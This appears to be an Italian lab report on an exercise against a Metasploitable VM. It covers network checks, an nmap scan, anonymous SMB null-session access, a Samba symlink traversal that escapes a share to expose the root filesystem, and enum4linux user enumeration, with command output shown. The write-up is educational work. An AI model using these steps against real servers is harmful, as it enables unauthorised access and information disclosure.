

INDICE

| | |
|--------------------------------|-----|
| INDICE..... | 1 |
| INTRODUZIONE ED OBIETTIVO..... | 2 |
| METODOLOGIA OPERATIVA..... | 3-8 |
| CONCLUSIONE..... | 9 |

INTRODUZIONE ED OBIETTIVO

INTRODUZIONE: il laboratorio analizza una configurazione vulnerabile del servizio SMB su un sistema Metasploitable, con particolare attenzione ai rischi associati all'abilitazione di accessi anonimi non correttamente limitati.

Attraverso lo sfruttamento di funzionalità legacy del protocollo, l'attività evidenzia come una debole separazione delle risorse condivise possa consentire l'accesso non autorizzato a informazioni critiche del sistema.

L'esercizio mette in luce l'impatto di tali configurazioni errate in termini di **information disclosure** e le potenziali conseguenze sulla sicurezza complessiva dell'infrastruttura.

OBIETTIVO: verificare la presenza di una SMB NULL Session e dimostrare la possibilità di accedere a informazioni sensibili del sistema target, confermando i risultati attraverso un'attività di enumerazione.

METODOLOGIA OPERATIVA

The image shows two terminal windows. The left window is on Kali Linux with the command \$ ping -c 4 192.168.50.101. The output shows four ICMP packets sent to 192.168.50.101, all received with 0% loss. The right window is on Metasploitable with the command \$ ping -c 4 192.168.50.100. The output shows four ICMP packets sent to 192.168.50.100, all received with 0% loss.

```
(kali㉿kali)-[~]
$ ping -c 4 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=2.91 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=2.00 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=2.31 ms
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=1.31 ms
--- 192.168.50.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 1.311/2.129/2.906/0.574 ms

(kali㉿kali)-[~]
$ [REDACTED]
```

```
msfadmin@metasploitable:~$ ping -c 4 192.168.50.100
PING 192.168.50.100 (192.168.50.100) 56(84) bytes of data.
64 bytes from 192.168.50.100: icmp_seq=1 ttl=64 time=1.41 ms
64 bytes from 192.168.50.100: icmp_seq=2 ttl=64 time=0.000 ms
64 bytes from 192.168.50.100: icmp_seq=3 ttl=64 time=1.05 ms
64 bytes from 192.168.50.100: icmp_seq=4 ttl=64 time=1.76 ms
--- 192.168.50.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3008ms
rtt min/avg/max/mdev = 0.000/1.058/1.763/0.660 ms
msfadmin@metasploitable:~$
```

La prima fase dell'attività è stata dedicata alla verifica della connettività di rete tra la macchina attaccante e il sistema target.

Questo passaggio è fondamentale per accertare che i due host siano correttamente configurati sullo stesso segmento di rete e che non vi siano restrizioni di comunicazione a livello di rete o di firewall che possano compromettere le fasi successive dell'analisi. La conferma della raggiungibilità reciproca garantisce che il sistema target sia attivo, accessibile e pronto per essere analizzato a livello di servizi esposti.

The image shows a terminal window running Nmap on Kali Linux. The command used is nmap -p 139,445 192.168.50.101. The output shows that both ports 139/tcp (netbios-ssn) and 445/tcp (microsoft-ds) are open. The host is identified as being up with 0.0025s latency. MAC address information is also provided. The scan took 13.19 seconds.

```
(kali㉿kali)-[~]
$ nmap -p 139,445 192.168.50.101

Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-20 13:54 EST
Nmap scan report for 192.168.50.101
Host is up (0.0025s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:83:88:D0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
```

Una volta verificata la corretta connettività di rete, l'attenzione è stata rivolta all'analisi dei servizi di rete esposti dal sistema target; questa fase ha l'obiettivo di identificare quali servizi risultano in ascolto e quindi potenzialmente raggiungibili dall'esterno, consentendo di delimitare in modo preciso la superficie di attacco.

L'analisi ha evidenziato la presenza del servizio SMB attivo sulle porte standard, indicando che il sistema fornisce funzionalità di condivisione di risorse di rete.

La disponibilità di questo servizio rappresenta un punto di interesse rilevante dal punto di vista della sicurezza, in quanto configurazioni obsolete o non correttamente protette possono consentire accessi non autorizzati o attività di enumerazione.

L'individuazione di un servizio SMB esposto costituisce quindi il presupposto per le fasi successive dell'esercizio, orientate alla verifica delle modalità di accesso e alla valutazione del livello di protezione applicato alle risorse condivise.

```
(kali㉿kali)-[~]
$ smbclient -L //192.168.50.101
Password for [WORKGROUP\kali]:
Anonymous login successful

      Sharename          Type          Comment
      print$            Disk          Printer Drivers
      tmp               Disk          oh noes!
      opt               Disk
      IPC$             IPC           IPC Service (metasploitable server (Samba 3.0.20-Debian))
      ADMIN$            IPC           IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server              Comment
      Workgroup
      WORKGROUP          Master

      METASPLOITABLE
```

A seguito dell'individuazione del servizio SMB attivo, è stata effettuata una verifica delle modalità di accesso alle risorse di rete condivise dal sistema target.

Questa fase è cruciale per comprendere se il servizio consente esclusivamente accessi autenticati oppure se permette connessioni anonime, condizione che rappresenta una debolezza significativa dal punto di vista della sicurezza.

L'analisi ha evidenziato la possibilità di accedere al servizio SMB senza fornire credenziali valide, consentendo l'elenco delle risorse condivise esposte dal sistema. Tra queste risorse è risultata presente una share pubblica utilizzabile per l'accesso al filesystem remoto, confermando l'esistenza di una SMB NULL Session.

La presenza di risorse condivise accessibili in modalità anonima indica una configurazione non sicura del servizio SMB e costituisce il presupposto per attività di enumerazione e di accesso non autorizzato a informazioni sensibili, tale condizione amplia in modo significativo la superficie di attacco del sistema e giustifica l'approfondimento delle fasi successive dell'analisi.

```
(kali㉿kali)-[~]
$ smbclient //192.168.50.101/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> posix
Server supports CIFS extensions 1.0
Server supports CIFS capabilities acls pathnames
smb: /> symlink ../../../../../../ rootfs
smb: /> ls
.
..
.ICE-unix
.X11-unix
4333.jsvc_up
.X0-lock
rootfs
              D      0 Tue Jan 20 14:14:35 2026
              DR     0 Sun May 20 15:36:12 2012
              DH     0 Tue Jan 20 13:50:47 2026
              DH     0 Tue Jan 20 13:51:17 2026
              R      0 Tue Jan 20 13:51:41 2026
              HR    11 Tue Jan 20 13:51:17 2026
              DR     0 Sun May 20 15:36:12 2012
7282168 blocks of size 1024. 5390624 blocks available
smb: /> █
```

Dopo aver confermato la presenza di una SMB NULL Session, è stato possibile accedere a una delle risorse condivise esposte dal sistema target.

Questa fase ha permesso di valutare il livello di isolamento applicato alle risorse SMB e di comprendere se l'accesso anonimo fosse limitato esclusivamente alla directory condivisa o se potesse essere esteso ulteriormente.

L'analisi ha evidenziato che il servizio SMB supporta funzionalità legacy avanzate che consentono una gestione estesa del filesystem remoto; sfruttando queste caratteristiche, è stato possibile aggirare i meccanismi di isolamento della share pubblica, ottenendo una vista più ampia del filesystem del sistema target rispetto a quanto normalmente consentito. Questo comportamento indica una configurazione insicura del servizio SMB, in cui la combinazione tra accesso anonimo e supporto a funzionalità obsolete consente di superare i confini previsti per le risorse condivise.

```

7282168 blocks of size 1024. 5390624 blocks available
smb: /> cd rootfs
smb: /rootfs/> ls
.
..
initrd
media
bin
lost+found
mnt
sbin
initrd.img
home
lib
usr
proc
root
sys
boot
nohup.out
etc
dev
vmlinuz
opt
var
cdrom
tmp
srv
DR      0 Sun May 20 15:36:12 2012
DR      0 Sun May 20 15:36:12 2012
DR      0 Tue Mar 16 19:57:40 2010
DR      0 Tue Mar 16 19:55:52 2010
DR      0 Mon May 14 00:35:33 2012
DR      0 Tue Mar 16 19:55:15 2010
DR      0 Wed Apr 28 17:16:56 2010
DR      0 Sun May 13 22:54:53 2012
R 7929183 Mon May 14 00:35:56 2012
DR      0 Fri Apr 16 03:16:02 2010
DR      0 Mon May 14 00:35:22 2012
DR      0 Wed Apr 28 01:06:37 2010
DR      0 Tue Jan 20 13:50:35 2026
DR      0 Tue Jan 20 13:51:17 2026
DR      0 Tue Jan 20 13:50:36 2026
DR      0 Mon May 14 00:36:28 2012
R 61338 Tue Jan 20 13:51:17 2026
DR      0 Tue Jan 20 13:50:54 2026
DR      0 Tue Jan 20 13:50:47 2026
R 1987288 Thu Apr 10 13:55:41 2008
DR      0 Tue Mar 16 19:57:39 2010
DR      0 Wed Mar 17 11:08:23 2010
DR      0 Tue Mar 16 19:55:51 2010
D      0 Tue Jan 20 14:14:35 2026
DR      0 Tue Mar 16 19:57:38 2010

7282168 blocks of size 1024. 5390624 blocks available
smb: /rootfs/> █

```

il superamento dell'isolamento della risorsa condivisa ha consentito l'accesso diretto al filesystem di sistema del target; a questo punto dell'analisi è risultata visibile la struttura completa della directory radice del sistema operativo, includendo directory tipicamente riservate ai processi di sistema e agli utenti privilegiati.

La possibilità di visualizzare l'intero filesystem a partire da un accesso anonimo al servizio SMB rappresenta un impatto di sicurezza particolarmente elevato. Tale condizione indica che un attaccante non autenticato può esplorare la struttura interna del sistema, identificare file di configurazione, directory di utenti e componenti critici del sistema operativo.

Questo livello di accesso costituisce il presupposto per l'individuazione e l'estrazione di informazioni sensibili, nonché per la pianificazione di attacchi successivi più mirati, come l'abuso di credenziali, l'analisi delle configurazioni di servizio o l'escalation di privilegi.

L'accesso completo al filesystem del sistema target ha consentito la consultazione di file di configurazione critici contenenti informazioni sugli account di sistema in particolare, è stato possibile visualizzare il file che definisce la struttura degli utenti locali, inclusi account privilegiati, account di servizio e utenti applicativi.

La disponibilità di tali informazioni rappresenta una grave vulnerabilità di information disclosure, in quanto fornisce a un attaccante non autenticato una visione dettagliata dell'ecosistema degli utenti presenti sul sistema; questi dati possono essere utilizzati come base per attacchi successivi, quali tentativi di forza bruta mirati, riutilizzo di credenziali o sfruttamento di servizi specifici associati agli account individuati.

La combinazione tra accesso anonimo al servizio SMB, supporto a funzionalità legacy e insufficiente isolamento delle risorse condivise evidenzia una configurazione profondamente insicura, capace di compromettere in modo significativo la riservatezza del sistema e di favorire una compromissione più ampia dell'infrastruttura.

```

[ kali㉿kali )-[ ~ ]
$ enum4linux 192.168.50.101
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jan 20 14:19:51 2026
=====
( Target Information )

Target ..... 192.168.50.101
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
( Enumerating Workgroup/Domain on 192.168.50.101 )
=====
( Users on 192.168.50.101 )

index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null)
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null)
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null)
index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null)
index: 0x6 RID: 0x bba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null)
index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null)
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null)
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null)
index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null)
index: 0xe RID: 0x3ea acb: 0x00000011 Account: proftpd Name: (null) Desc: (null)
index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null)
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null)
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null)
index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null)
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null)
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null)
index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuvuid Name: (null) Desc: (null)
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null)
index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null)
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null)
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null)
index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null)
index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null)
index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name: ,,, Desc: (null)
index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null)
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null)
index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null)
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null)
index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null)
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)

user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0x bba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x3ea]
user:[dhcp] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]

```

A completamento dell'analisi, è stata condotta un'attività di enumerazione automatizzata sul servizio SMB del sistema target, con l'obiettivo di validare e correlare le informazioni già ottenute attraverso l'accesso diretto al filesystem; i risultati hanno confermato la possibilità di instaurare una sessione anonima e hanno permesso di enumerare un numero significativo di account locali e di servizio presenti sul sistema, inclusi utenti privilegiati e account associati a servizi applicativi.

L'elenco degli utenti individuati risulta pienamente coerente con le informazioni estratte in precedenza dai file di configurazione di sistema, dimostrando come una configurazione SMB non sicura consenta a un attaccante non autenticato di ottenere una visione dettagliata della struttura degli account del target.

CONCLUSIONE

L'esercizio ha dimostrato come una configurazione non sicura del servizio SMB possa esporre il sistema a gravi rischi di sicurezza, consentendo accessi anonimi e la divulgazione di informazioni critiche.

La combinazione tra SMB NULL Session, supporto a funzionalità legacy e insufficiente isolamento delle risorse condivise ha permesso l'accesso completo al filesystem e l'esposizione degli account di sistema; questo scenario evidenzia come configurazioni obsolete o errate possano compromettere significativamente la riservatezza del sistema e costituire un punto di partenza per attacchi più avanzati, sottolineando l'importanza di una corretta gestione e hardening dei servizi di rete.